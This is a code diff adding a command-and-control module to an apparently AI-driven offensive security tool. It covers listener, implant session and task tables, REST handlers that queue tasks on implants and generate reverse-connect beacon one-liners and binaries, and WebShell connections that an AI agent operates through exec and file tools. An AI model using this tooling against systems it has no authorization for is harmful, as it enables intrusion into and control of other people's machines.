if e == nil {
return ""
}
return e.Message
}
// Sentinel errors,便于 errors.Is 比较
var (
ErrListenerNotFound = &CommonError{Code: "listener_not_found", Message: "监听器不存在", HTTP: 404}
ErrSessionNotFound = &CommonError{Code: "session_not_found", Message: "会话不存在", HTTP: 404}
ErrTaskNotFound = &CommonError{Code: "task_not_found", Message: "任务不存在", HTTP: 404}
ErrProfileNotFound = &CommonError{Code: "profile_not_found", Message: "Profile 不存在", HTTP: 404}
ErrInvalidInput = &CommonError{Code: "invalid_input", Message: "参数非法", HTTP: 400}
ErrAuthFailed = &CommonError{Code: "auth_failed", Message: "鉴权失败", HTTP: 401}
ErrPortInUse = &CommonError{Code: "port_in_use", Message: "端口已被占用", HTTP: 409}
ErrListenerRunning = &CommonError{Code: "listener_running", Message: "监听器已在运行", HTTP: 409}
ErrListenerStopped = &CommonError{Code: "listener_stopped", Message: "监听器未运行", HTTP: 409}
ErrUnsupportedType = &CommonError{Code: "unsupported_type", Message: "不支持的监听器类型", HTTP: 400}
)
// SafeBindPort 校验端口范围
func SafeBindPort(port int) error {
if port < 1 || port > 65535 {
return errors.New("port must be in 1..65535")
}
return nil
}
// NowUnixMillis 统一时间戳工具
func NowUnixMillis() int64 {
return time.Now().UnixNano() / int64(time.Millisecond)
}
File diff suppressed because it is too large Load Diff
+171
View File
@@ -269,6 +269,8 @@ func (db *DB) initTables() error {
method TEXT NOT NULL DEFAULT 'post',
cmd_param TEXT NOT NULL DEFAULT '',
remark TEXT NOT NULL DEFAULT '',
encoding TEXT NOT NULL DEFAULT '',
os TEXT NOT NULL DEFAULT '',
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
);`
@@ -281,6 +283,113 @@ func (db *DB) initTables() error {
FOREIGN KEY (connection_id) REFERENCES webshell_connections(id) ON DELETE CASCADE
);`
// ========================================================================
// C2 模块(监听器 / 会话 / 任务 / 文件 / 事件 / Malleable Profile
// ========================================================================
createC2ListenersTable := `
CREATE TABLE IF NOT EXISTS c2_listeners (
id TEXT PRIMARY KEY,
name TEXT NOT NULL,
type TEXT NOT NULL,
bind_host TEXT NOT NULL DEFAULT '127.0.0.1',
bind_port INTEGER NOT NULL,
profile_id TEXT,
encryption_key TEXT NOT NULL DEFAULT '',
implant_token TEXT NOT NULL DEFAULT '',
status TEXT NOT NULL DEFAULT 'stopped',
config_json TEXT NOT NULL DEFAULT '{}',
remark TEXT NOT NULL DEFAULT '',
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
started_at DATETIME,
last_error TEXT
);`
createC2SessionsTable := `
CREATE TABLE IF NOT EXISTS c2_sessions (
id TEXT PRIMARY KEY,
listener_id TEXT NOT NULL,
implant_uuid TEXT NOT NULL UNIQUE,
hostname TEXT,
username TEXT,
os TEXT,
arch TEXT,
pid INTEGER DEFAULT 0,
process_name TEXT,
is_admin INTEGER DEFAULT 0,
internal_ip TEXT,
external_ip TEXT,
user_agent TEXT,
sleep_seconds INTEGER NOT NULL DEFAULT 5,
jitter_percent INTEGER NOT NULL DEFAULT 0,
status TEXT NOT NULL DEFAULT 'active',
first_seen_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
last_check_in DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
metadata_json TEXT DEFAULT '{}',
note TEXT NOT NULL DEFAULT '',
FOREIGN KEY (listener_id) REFERENCES c2_listeners(id) ON DELETE CASCADE
);`
createC2TasksTable := `
CREATE TABLE IF NOT EXISTS c2_tasks (
id TEXT PRIMARY KEY,
session_id TEXT NOT NULL,
task_type TEXT NOT NULL,
payload_json TEXT NOT NULL DEFAULT '{}',
status TEXT NOT NULL DEFAULT 'queued',
result_text TEXT,
result_blob_path TEXT,
error TEXT,
source TEXT NOT NULL DEFAULT 'manual',
conversation_id TEXT,
approval_status TEXT,
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
sent_at DATETIME,
started_at DATETIME,
completed_at DATETIME,
duration_ms INTEGER DEFAULT 0,
FOREIGN KEY (session_id) REFERENCES c2_sessions(id) ON DELETE CASCADE
);`
createC2FilesTable := `
CREATE TABLE IF NOT EXISTS c2_files (
id TEXT PRIMARY KEY,
session_id TEXT NOT NULL,
task_id TEXT,
direction TEXT NOT NULL,
remote_path TEXT NOT NULL,
local_path TEXT NOT NULL,
size_bytes INTEGER DEFAULT 0,
sha256 TEXT,
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
FOREIGN KEY (session_id) REFERENCES c2_sessions(id) ON DELETE CASCADE
);`
createC2EventsTable := `
CREATE TABLE IF NOT EXISTS c2_events (
id TEXT PRIMARY KEY,
level TEXT NOT NULL DEFAULT 'info',
category TEXT NOT NULL,
session_id TEXT,
task_id TEXT,
message TEXT NOT NULL,
data_json TEXT,
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
);`
createC2ProfilesTable := `
CREATE TABLE IF NOT EXISTS c2_profiles (
id TEXT PRIMARY KEY,
name TEXT NOT NULL UNIQUE,
user_agent TEXT,
uris_json TEXT NOT NULL DEFAULT '[]',
request_headers_json TEXT,
response_headers_json TEXT,
body_template TEXT,
jitter_min_ms INTEGER DEFAULT 0,
jitter_max_ms INTEGER DEFAULT 0,
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
);`
// 创建索引
createIndexes := `
CREATE INDEX IF NOT EXISTS idx_messages_conversation_id ON messages(conversation_id);
@@ -311,6 +420,19 @@ func (db *DB) initTables() error {
CREATE INDEX IF NOT EXISTS idx_batch_task_queues_title ON batch_task_queues(title);
CREATE INDEX IF NOT EXISTS idx_webshell_connections_created_at ON webshell_connections(created_at);
CREATE INDEX IF NOT EXISTS idx_webshell_connection_states_updated_at ON webshell_connection_states(updated_at);
CREATE INDEX IF NOT EXISTS idx_c2_listeners_created_at ON c2_listeners(created_at);
CREATE INDEX IF NOT EXISTS idx_c2_listeners_status ON c2_listeners(status);
CREATE INDEX IF NOT EXISTS idx_c2_sessions_listener ON c2_sessions(listener_id);
CREATE INDEX IF NOT EXISTS idx_c2_sessions_status ON c2_sessions(status);
CREATE INDEX IF NOT EXISTS idx_c2_sessions_last_check_in ON c2_sessions(last_check_in);
CREATE INDEX IF NOT EXISTS idx_c2_tasks_session ON c2_tasks(session_id);
CREATE INDEX IF NOT EXISTS idx_c2_tasks_status ON c2_tasks(status);
CREATE INDEX IF NOT EXISTS idx_c2_tasks_created_at ON c2_tasks(created_at);
CREATE INDEX IF NOT EXISTS idx_c2_tasks_conversation ON c2_tasks(conversation_id);
CREATE INDEX IF NOT EXISTS idx_c2_files_session ON c2_files(session_id);
CREATE INDEX IF NOT EXISTS idx_c2_events_created_at ON c2_events(created_at);
CREATE INDEX IF NOT EXISTS idx_c2_events_category ON c2_events(category);
CREATE INDEX IF NOT EXISTS idx_c2_events_session ON c2_events(session_id);
`
if _, err := db.Exec(createConversationsTable); err != nil {
@@ -377,6 +499,19 @@ func (db *DB) initTables() error {
return fmt.Errorf("创建webshell_connection_states表失败: %w", err)
}
for tableName, ddl := range map[string]string{
"c2_listeners": createC2ListenersTable,
"c2_sessions": createC2SessionsTable,
"c2_tasks": createC2TasksTable,
"c2_files": createC2FilesTable,
"c2_events": createC2EventsTable,
"c2_profiles": createC2ProfilesTable,
} {
if _, err := db.Exec(ddl); err != nil {
return fmt.Errorf("创建%s表失败: %w", tableName, err)
}
}
// 为已有表添加新字段(如果不存在)- 必须在创建索引之前
if err := db.migrateConversationsTable(); err != nil {
db.logger.Warn("迁移conversations表失败", zap.Error(err))
@@ -402,6 +537,11 @@ func (db *DB) initTables() error {
// 不返回错误,允许继续运行
}
if err := db.migrateWebshellConnectionsTable(); err != nil {
db.logger.Warn("迁移webshell_connections表失败", zap.Error(err))
// 不返回错误,允许继续运行
}
if _, err := db.Exec(createIndexes); err != nil {
return fmt.Errorf("创建索引失败: %w", err)
}
@@ -732,6 +872,37 @@ func (db *DB) migrateVulnerabilitiesTable() error {
return nil
}
// migrateWebshellConnectionsTable 迁移 webshell_connections 表,补充新字段
func (db *DB) migrateWebshellConnectionsTable() error {
columns := []struct {
name string
stmt string
}{
{name: "encoding", stmt: "ALTER TABLE webshell_connections ADD COLUMN encoding TEXT NOT NULL DEFAULT ''"},
{name: "os", stmt: "ALTER TABLE webshell_connections ADD COLUMN os TEXT NOT NULL DEFAULT ''"},
}
for _, col := range columns {
var count int
err := db.QueryRow("SELECT COUNT(*) FROM pragma_table_info('webshell_connections') WHERE name=?", col.name).Scan(&count)
if err != nil {
if _, addErr := db.Exec(col.stmt); addErr != nil {
errMsg := strings.ToLower(addErr.Error())
if !strings.Contains(errMsg, "duplicate column") && !strings.Contains(errMsg, "already exists") {
db.logger.Warn("添加webshell_connections字段失败", zap.String("field", col.name), zap.Error(addErr))
}
}
continue
}
if count == 0 {
if _, addErr := db.Exec(col.stmt); addErr != nil {
db.logger.Warn("添加webshell_connections字段失败", zap.String("field", col.name), zap.Error(addErr))
}
}
}
return nil
}
// NewKnowledgeDB 创建知识库数据库连接(只包含知识库相关的表)
func NewKnowledgeDB(dbPath string, logger *zap.Logger) (*DB, error) {
sqlDB, err := sql.Open("sqlite3", dbPath+"?_journal_mode=WAL&_foreign_keys=1&_busy_timeout=5000&_synchronous=NORMAL")
+13 -9
View File
@@ -16,6 +16,8 @@ type WebShellConnection struct {
Method string `json:"method"`
CmdParam string `json:"cmdParam"`
Remark string `json:"remark"`
Encoding string `json:"encoding"` // 目标响应编码:auto / utf-8 / gbk / gb18030,空值视为 auto
OS string `json:"os"` // 目标操作系统:auto / linux / windows,空值/未知视为 auto
CreatedAt time.Time `json:"createdAt"`
}
@@ -58,7 +60,8 @@ func (db *DB) UpsertWebshellConnectionState(connectionID, stateJSON string) erro
// ListWebshellConnections 列出所有 WebShell 连接,按创建时间倒序
func (db *DB) ListWebshellConnections() ([]WebShellConnection, error) {
query := `
SELECT id, url, password, type, method, cmd_param, remark, created_at
SELECT id, url, password, type, method, cmd_param, remark,
COALESCE(encoding, '') AS encoding, COALESCE(os, '') AS os, created_at
FROM webshell_connections
ORDER BY created_at DESC
`
@@ -72,7 +75,7 @@ func (db *DB) ListWebshellConnections() ([]WebShellConnection, error) {
var list []WebShellConnection
for rows.Next() {
var c WebShellConnection
err := rows.Scan(&c.ID, &c.URL, &c.Password, &c.Type, &c.Method, &c.CmdParam, &c.Remark, &c.CreatedAt)
err := rows.Scan(&c.ID, &c.URL, &c.Password, &c.Type, &c.Method, &c.CmdParam, &c.Remark, &c.Encoding, &c.OS, &c.CreatedAt)
if err != nil {
db.logger.Warn("扫描 WebShell 连接行失败", zap.Error(err))
continue
@@ -85,11 +88,12 @@ func (db *DB) ListWebshellConnections() ([]WebShellConnection, error) {
// GetWebshellConnection 根据 ID 获取一条连接
func (db *DB) GetWebshellConnection(id string) (*WebShellConnection, error) {
query := `
SELECT id, url, password, type, method, cmd_param, remark, created_at
SELECT id, url, password, type, method, cmd_param, remark,
COALESCE(encoding, '') AS encoding, COALESCE(os, '') AS os, created_at
FROM webshell_connections WHERE id = ?
`
var c WebShellConnection
err := db.QueryRow(query, id).Scan(&c.ID, &c.URL, &c.Password, &c.Type, &c.Method, &c.CmdParam, &c.Remark, &c.CreatedAt)
err := db.QueryRow(query, id).Scan(&c.ID, &c.URL, &c.Password, &c.Type, &c.Method, &c.CmdParam, &c.Remark, &c.Encoding, &c.OS, &c.CreatedAt)
if err == sql.ErrNoRows {
return nil, nil
}
@@ -103,10 +107,10 @@ func (db *DB) GetWebshellConnection(id string) (*WebShellConnection, error) {
// CreateWebshellConnection 创建 WebShell 连接
func (db *DB) CreateWebshellConnection(c *WebShellConnection) error {
query := `
INSERT INTO webshell_connections (id, url, password, type, method, cmd_param, remark, created_at)
VALUES (?, ?, ?, ?, ?, ?, ?, ?)
INSERT INTO webshell_connections (id, url, password, type, method, cmd_param, remark, encoding, os, created_at)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
`
_, err := db.Exec(query, c.ID, c.URL, c.Password, c.Type, c.Method, c.CmdParam, c.Remark, c.CreatedAt)
_, err := db.Exec(query, c.ID, c.URL, c.Password, c.Type, c.Method, c.CmdParam, c.Remark, c.Encoding, c.OS, c.CreatedAt)
if err != nil {
db.logger.Error("创建 WebShell 连接失败", zap.Error(err), zap.String("id", c.ID))
return err
@@ -118,10 +122,10 @@ func (db *DB) CreateWebshellConnection(c *WebShellConnection) error {
func (db *DB) UpdateWebshellConnection(c *WebShellConnection) error {
query := `
UPDATE webshell_connections
SET url = ?, password = ?, type = ?, method = ?, cmd_param = ?, remark = ?
SET url = ?, password = ?, type = ?, method = ?, cmd_param = ?, remark = ?, encoding = ?, os = ?
WHERE id = ?
`
result, err := db.Exec(query, c.URL, c.Password, c.Type, c.Method, c.CmdParam, c.Remark, c.ID)
result, err := db.Exec(query, c.URL, c.Password, c.Type, c.Method, c.CmdParam, c.Remark, c.Encoding, c.OS, c.ID)
if err != nil {
db.logger.Error("更新 WebShell 连接失败", zap.Error(err), zap.String("id", c.ID))
return err
+10 -12
View File
@@ -184,6 +184,14 @@ func (h *AgentHandler) SetHitlToolWhitelistSaver(s HitlToolWhitelistSaver) {
h.hitlWhitelistSaver = s
}
// HITLNeedsToolApproval 供 C2 危险任务门控:与会话侧人机协同及免审批白名单判定一致。
func (h *AgentHandler) HITLNeedsToolApproval(conversationID, toolName string) bool {
if h == nil || h.hitlManager == nil {
return false
}
return h.hitlManager.NeedsToolApproval(conversationID, toolName)
}
// ChatAttachment 聊天附件(用户上传的文件)
type ChatAttachment struct {
FileName string `json:"fileName"` // 展示用文件名
@@ -539,12 +547,7 @@ func (h *AgentHandler) AgentLoop(c *gin.Context) {
c.JSON(http.StatusBadRequest, gin.H{"error": "未找到该 WebShell 连接"})
return
}
remark := conn.Remark
if remark == "" {
remark = conn.URL
}
webshellContext := fmt.Sprintf("[WebShell 助手上下文] 当前连接 ID:%s,备注:%s。可用工具(仅在该连接上操作时使用,connection_id 填 \"%s\"):webshell_exec、webshell_file_list、webshell_file_read、webshell_file_write、record_vulnerability、list_knowledge_risk_types、search_knowledge_base。Skills 包请使用「多代理 / Eino DeepAgent」会话中的内置 `skill` 工具渐进加载。\n\n用户请求:%s",
conn.ID, remark, conn.ID, req.Message)
webshellContext := BuildWebshellAssistantContext(conn, WebshellSkillHintDefault, req.Message)
// WebShell 模式下如果同时指定了角色,追加角色 user_prompt(工具集仍仅限 webshell 专用工具)
if req.Role != "" && req.Role != "默认" && h.config.Roles != nil {
if role, exists := h.config.Roles[req.Role]; exists && role.Enabled && role.UserPrompt != "" {
@@ -1400,12 +1403,7 @@ func (h *AgentHandler) AgentLoopStream(c *gin.Context) {
sendEvent("error", "未找到该 WebShell 连接", nil)
return
}
remark := conn.Remark
if remark == "" {
remark = conn.URL
}
webshellContext := fmt.Sprintf("[WebShell 助手上下文] 当前连接 ID:%s,备注:%s。可用工具(仅在该连接上操作时使用,connection_id 填 \"%s\"):webshell_exec、webshell_file_list、webshell_file_read、webshell_file_write、record_vulnerability、list_knowledge_risk_types、search_knowledge_base。Skills 包请使用「多代理 / Eino DeepAgent」会话中的内置 `skill` 工具渐进加载。\n\n用户请求:%s",
conn.ID, remark, conn.ID, req.Message)
webshellContext := BuildWebshellAssistantContext(conn, WebshellSkillHintDefault, req.Message)
// WebShell 模式下如果同时指定了角色,追加角色 user_prompt(工具集仍仅限 webshell 专用工具)
if req.Role != "" && req.Role != "默认" && h.config.Roles != nil {
if role, exists := h.config.Roles[req.Role]; exists && role.Enabled && role.UserPrompt != "" {
+955
View File
@@ -0,0 +1,955 @@
package handler
import (
"encoding/json"
"errors"
"fmt"
"io"
"net/http"
"os"
"path/filepath"
"strconv"
"strings"
"time"
"cyberstrike-ai/internal/c2"
"cyberstrike-ai/internal/database"
"github.com/gin-gonic/gin"
"github.com/google/uuid"
"go.uber.org/zap"
)
// C2Handler 处理 C2 相关的 REST API
type C2Handler struct {
manager *c2.Manager
logger *zap.Logger
}
// NewC2Handler 创建 C2 处理器
func NewC2Handler(manager *c2.Manager, logger *zap.Logger) *C2Handler {
return &C2Handler{
manager: manager,
logger: logger,
}
}
// ============================================================================
// 监听器 API
// ============================================================================
// ListListeners 获取监听器列表
func (h *C2Handler) ListListeners(c *gin.Context) {
listeners, err := h.manager.DB().ListC2Listeners()
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
// 移除敏感字段
for _, l := range listeners {
l.EncryptionKey = ""
l.ImplantToken = ""
}
c.JSON(http.StatusOK, gin.H{"listeners": listeners})
}
// CreateListener 创建监听器
func (h *C2Handler) CreateListener(c *gin.Context) {
var req struct {
Name string `json:"name"`
Type string `json:"type"`
BindHost string `json:"bind_host"`
BindPort int `json:"bind_port"`
ProfileID string `json:"profile_id,omitempty"`
Remark string `json:"remark,omitempty"`
CallbackHost string `json:"callback_host,omitempty"`
Config *c2.ListenerConfig `json:"config,omitempty"`
}
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
input := c2.CreateListenerInput{
Name: req.Name,
Type: req.Type,
BindHost: req.BindHost,
BindPort: req.BindPort,
ProfileID: req.ProfileID,
Remark: req.Remark,
Config: req.Config,
CallbackHost: strings.TrimSpace(req.CallbackHost),
}
listener, err := h.manager.CreateListener(input)
if err != nil {
code := http.StatusInternalServerError
if e, ok := err.(*c2.CommonError); ok {
code = e.HTTP
}
c.JSON(code, gin.H{"error": err.Error()})
return
}
implantToken := listener.ImplantToken
listener.EncryptionKey = ""
listener.ImplantToken = ""
c.JSON(http.StatusOK, gin.H{"listener": listener, "implant_token": implantToken})
}
// GetListener 获取单个监听器
func (h *C2Handler) GetListener(c *gin.Context) {
id := c.Param("id")
listener, err := h.manager.DB().GetC2Listener(id)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
if listener == nil {
c.JSON(http.StatusNotFound, gin.H{"error": "listener not found"})
return
}
listener.EncryptionKey = ""
listener.ImplantToken = ""
c.JSON(http.StatusOK, gin.H{"listener": listener})
}
// UpdateListener 更新监听器
func (h *C2Handler) UpdateListener(c *gin.Context) {
id := c.Param("id")
listener, err := h.manager.DB().GetC2Listener(id)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
if listener == nil {
c.JSON(http.StatusNotFound, gin.H{"error": "listener not found"})
return
}
var req struct {
Name string `json:"name"`
BindHost string `json:"bind_host"`
BindPort int `json:"bind_port"`
ProfileID string `json:"profile_id"`
Remark string `json:"remark"`
CallbackHost *string `json:"callback_host"`
Config *c2.ListenerConfig `json:"config,omitempty"`
}
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
// 若监听器在运行,不能修改关键字段
if h.manager.IsListenerRunning(id) {
if req.BindHost != listener.BindHost || req.BindPort != listener.BindPort {
c.JSON(http.StatusConflict, gin.H{"error": "cannot modify bind address while listener is running"})
return
}
}
listener.Name = req.Name
listener.BindHost = req.BindHost
listener.BindPort = req.BindPort
listener.ProfileID = req.ProfileID
listener.Remark = req.Remark
if req.Config != nil {
cfgJSON, _ := json.Marshal(req.Config)
listener.ConfigJSON = string(cfgJSON)
}
if req.CallbackHost != nil {
cfg := &c2.ListenerConfig{}
raw := strings.TrimSpace(listener.ConfigJSON)
if raw == "" {
raw = "{}"
}
_ = json.Unmarshal([]byte(raw), cfg)
cfg.CallbackHost = strings.TrimSpace(*req.CallbackHost)
cfg.ApplyDefaults()
cfgJSON, err := json.Marshal(cfg)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
listener.ConfigJSON = string(cfgJSON)
}
if err := h.manager.DB().UpdateC2Listener(listener); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
listener.EncryptionKey = ""
listener.ImplantToken = ""
c.JSON(http.StatusOK, gin.H{"listener": listener})
}
// DeleteListener 删除监听器
func (h *C2Handler) DeleteListener(c *gin.Context) {
id := c.Param("id")
if err := h.manager.DeleteListener(id); err != nil {
code := http.StatusInternalServerError
if e, ok := err.(*c2.CommonError); ok {
code = e.HTTP
}
c.JSON(code, gin.H{"error": err.Error()})
return
}
c.JSON(http.StatusOK, gin.H{"deleted": true})
}
// StartListener 启动监听器
func (h *C2Handler) StartListener(c *gin.Context) {
id := c.Param("id")
listener, err := h.manager.StartListener(id)
if err != nil {
code := http.StatusInternalServerError
if e, ok := err.(*c2.CommonError); ok {
code = e.HTTP
}
c.JSON(code, gin.H{"error": err.Error()})
return
}
listener.EncryptionKey = ""
listener.ImplantToken = ""
c.JSON(http.StatusOK, gin.H{"listener": listener})
}
// StopListener 停止监听器
func (h *C2Handler) StopListener(c *gin.Context) {
id := c.Param("id")
if err := h.manager.StopListener(id); err != nil {
code := http.StatusInternalServerError
if e, ok := err.(*c2.CommonError); ok {
code = e.HTTP
}
c.JSON(code, gin.H{"error": err.Error()})
return
}
c.JSON(http.StatusOK, gin.H{"stopped": true})
}
// ============================================================================
// 会话 API
// ============================================================================
// ListSessions 获取会话列表
func (h *C2Handler) ListSessions(c *gin.Context) {
filter := database.ListC2SessionsFilter{
ListenerID: c.Query("listener_id"),
Status: c.Query("status"),
OS: c.Query("os"),
Search: c.Query("search"),
}
if limit := c.Query("limit"); limit != "" {
if n, err := strconv.Atoi(limit); err == nil && n > 0 {
filter.Limit = n
}
}
sessions, err := h.manager.DB().ListC2Sessions(filter)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
c.JSON(http.StatusOK, gin.H{"sessions": sessions})
}
// GetSession 获取单个会话
func (h *C2Handler) GetSession(c *gin.Context) {
id := c.Param("id")
session, err := h.manager.DB().GetC2Session(id)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
if session == nil {
c.JSON(http.StatusNotFound, gin.H{"error": "session not found"})
return
}
// 获取最近任务
tasks, _ := h.manager.DB().ListC2Tasks(database.ListC2TasksFilter{
SessionID: id,
Limit: 20,
})
c.JSON(http.StatusOK, gin.H{
"session": session,
"tasks": tasks,
})
}
// DeleteSession 删除会话
func (h *C2Handler) DeleteSession(c *gin.Context) {
id := c.Param("id")
if err := h.manager.DB().DeleteC2Session(id); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
c.JSON(http.StatusOK, gin.H{"deleted": true})
}
// SetSessionSleep 设置会话的 sleep/jitter
func (h *C2Handler) SetSessionSleep(c *gin.Context) {
id := c.Param("id")
var req struct {
SleepSeconds int `json:"sleep_seconds"`
JitterPercent int `json:"jitter_percent"`
}
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
if err := h.manager.DB().SetC2SessionSleep(id, req.SleepSeconds, req.JitterPercent); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
c.JSON(http.StatusOK, gin.H{"updated": true})
}
// ============================================================================
// 任务 API
// ============================================================================
// ListTasks 获取任务列表
func (h *C2Handler) ListTasks(c *gin.Context) {
filter := database.ListC2TasksFilter{
SessionID: c.Query("session_id"),
Status: c.Query("status"),
}
paginated := false
page := 1
pageSize := 10
if c.Query("page") != "" || c.Query("page_size") != "" {
paginated = true
if p, err := strconv.Atoi(c.DefaultQuery("page", "1")); err == nil && p > 0 {
page = p
}
if ps, err := strconv.Atoi(c.DefaultQuery("page_size", "10")); err == nil && ps > 0 {
pageSize = ps
if pageSize > 100 {
pageSize = 100
}
}
filter.Limit = pageSize
filter.Offset = (page - 1) * pageSize
} else {
if limit := c.Query("limit"); limit != "" {
if n, err := strconv.Atoi(limit); err == nil && n > 0 {
filter.Limit = n
}
}
}
tasks, err := h.manager.DB().ListC2Tasks(filter)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
// 仪表盘「待审任务」为全局 queued/pending 数量,与列表 session 过滤无关
pendingN, _ := h.manager.DB().CountC2TasksQueuedOrPending("")
if !paginated {
c.JSON(http.StatusOK, gin.H{
"tasks": tasks,
"pending_queued_count": pendingN,
})
return
}
total, err := h.manager.DB().CountC2Tasks(filter)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
c.JSON(http.StatusOK, gin.H{
"tasks": tasks,
"total": total,
"page": page,
"page_size": pageSize,
"pending_queued_count": pendingN,
})
}
// DeleteTasks 批量删除任务(请求体 JSON: {"ids":["t_xxx",...]}
func (h *C2Handler) DeleteTasks(c *gin.Context) {
var req struct {
IDs []string `json:"ids"`
}
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid json: " + err.Error()})
return
}
if len(req.IDs) == 0 {
c.JSON(http.StatusBadRequest, gin.H{"error": "ids is required"})
return
}
n, err := h.manager.DB().DeleteC2TasksByIDs(req.IDs)
if err != nil {
if errors.Is(err, database.ErrNoValidC2TaskIDs) {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
c.JSON(http.StatusOK, gin.H{"deleted": n})
}
// GetTask 获取单个任务
func (h *C2Handler) GetTask(c *gin.Context) {
id := c.Param("id")
task, err := h.manager.DB().GetC2Task(id)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
if task == nil {
c.JSON(http.StatusNotFound, gin.H{"error": "task not found"})
return
}
c.JSON(http.StatusOK, gin.H{"task": task})
}
// CreateTask 创建任务
func (h *C2Handler) CreateTask(c *gin.Context) {
var req struct {
SessionID string `json:"session_id"`
TaskType string `json:"task_type"`
Payload map[string]interface{} `json:"payload"`
Source string `json:"source"`
ConversationID string `json:"conversation_id"`
}
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
input := c2.EnqueueTaskInput{
SessionID: req.SessionID,
TaskType: c2.TaskType(req.TaskType),
Payload: req.Payload,
Source: firstNonEmpty(req.Source, "manual"),
ConversationID: req.ConversationID,
UserCtx: c.Request.Context(),
}
task, err := h.manager.EnqueueTask(input)
if err != nil {
code := http.StatusInternalServerError
if e, ok := err.(*c2.CommonError); ok {
code = e.HTTP
}
c.JSON(code, gin.H{"error": err.Error()})
return
}
c.JSON(http.StatusOK, gin.H{"task": task})
}
// CancelTask 取消任务
func (h *C2Handler) CancelTask(c *gin.Context) {
id := c.Param("id")
if err := h.manager.CancelTask(id); err != nil {
code := http.StatusInternalServerError
if e, ok := err.(*c2.CommonError); ok {
code = e.HTTP
}
c.JSON(code, gin.H{"error": err.Error()})
return
}
c.JSON(http.StatusOK, gin.H{"cancelled": true})
}
// WaitTask 等待任务完成
func (h *C2Handler) WaitTask(c *gin.Context) {
id := c.Param("id")
timeout := 60 * time.Second
if t := c.Query("timeout"); t != "" {
if n, err := strconv.Atoi(t); err == nil && n > 0 {
timeout = time.Duration(n) * time.Second
}
}
deadline := time.Now().Add(timeout)
for time.Now().Before(deadline) {
task, err := h.manager.DB().GetC2Task(id)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
if task == nil {
c.JSON(http.StatusNotFound, gin.H{"error": "task not found"})
return
}
if task.Status == "success" || task.Status == "failed" || task.Status == "cancelled" {
c.JSON(http.StatusOK, gin.H{"task": task})
return
}
time.Sleep(500 * time.Millisecond)
}
c.JSON(http.StatusRequestTimeout, gin.H{"error": "timeout waiting for task completion"})
}
// ============================================================================
// Payload API
// ============================================================================
// PayloadOneliner 生成单行 payload
func (h *C2Handler) PayloadOneliner(c *gin.Context) {
var req struct {
ListenerID string `json:"listener_id"`
Kind string `json:"kind"` // bash, python, powershell, curl_beacon
Host string `json:"host"`
}
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
listener, err := h.manager.DB().GetC2Listener(req.ListenerID)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
if listener == nil {
c.JSON(http.StatusNotFound, gin.H{"error": "listener not found"})
return
}
host := c2.ResolveBeaconDialHost(listener, strings.TrimSpace(req.Host), h.logger, listener.ID)
kind := c2.OnelinerKind(req.Kind)
if !c2.IsOnelinerCompatible(listener.Type, kind) {
compatible := c2.OnelinerKindsForListener(listener.Type)
names := make([]string, len(compatible))
for i, k := range compatible {
names[i] = string(k)
}
c.JSON(http.StatusBadRequest, gin.H{
"error": fmt.Sprintf("监听器类型 %s 不支持 %s 类型的 oneliner,请选择兼容的类型", listener.Type, req.Kind),
"compatible_kinds": names,
})
return
}
input := c2.OnelinerInput{
Kind: kind,
Host: host,
Port: listener.BindPort,
HTTPBaseURL: fmt.Sprintf("http://%s:%d", host, listener.BindPort),
ImplantToken: listener.ImplantToken,
}
oneliner, err := c2.GenerateOneliner(input)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
c.JSON(http.StatusOK, gin.H{
"oneliner": oneliner,
"kind": req.Kind,
"host": host,
"port": listener.BindPort,
})
}
// PayloadBuild 构建 beacon 二进制
func (h *C2Handler) PayloadBuild(c *gin.Context) {
var req struct {
ListenerID string `json:"listener_id"`
OS string `json:"os"`
Arch string `json:"arch"`
SleepSeconds int `json:"sleep_seconds"`
JitterPercent int `json:"jitter_percent"`
Host string `json:"host"` // 可选:编译进 Beacon 的回连地址,覆盖监听器 bind_host
}
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
